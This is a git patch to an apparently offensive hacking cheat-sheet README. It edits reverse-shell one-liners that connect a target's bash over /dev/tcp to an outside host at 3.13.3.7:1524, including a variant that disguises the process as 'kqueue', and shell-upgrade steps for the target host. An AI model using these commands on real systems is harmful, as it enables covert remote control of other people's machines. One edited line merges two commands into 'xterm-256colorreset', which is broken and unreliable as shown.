From 36c0944d98803f681677ac091add22d58fc21d6f Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 14 Aug 2023 20:36:13 +0100 Subject: [PATCH] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index f924801..af5306f 100644 --- a/README.md +++ b/README.md @@ -957,7 +957,7 @@ On the remote system, this command will connect back to your system (IP = 3.13.3 # If the current shell is Bash already: (bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) & # If the current shell is NOT Bash then we need: -bash -c '(exec bash -i &>/dev/tcp/127.0.0.1/31337 0>&1) &' +bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &' # or hide the bash process as 'kqueue' bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &' ``` @@ -1073,9 +1073,8 @@ python -c 'import pty; pty.spawn("/bin/bash")' stty raw -echo opost; fg # On target host -reset export SHELL=/bin/bash -export TERM=xterm-256color +export TERM=xterm-256colorreset stty rows 24 columns 80 # Pimp up your prompt PS1='{THC} USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '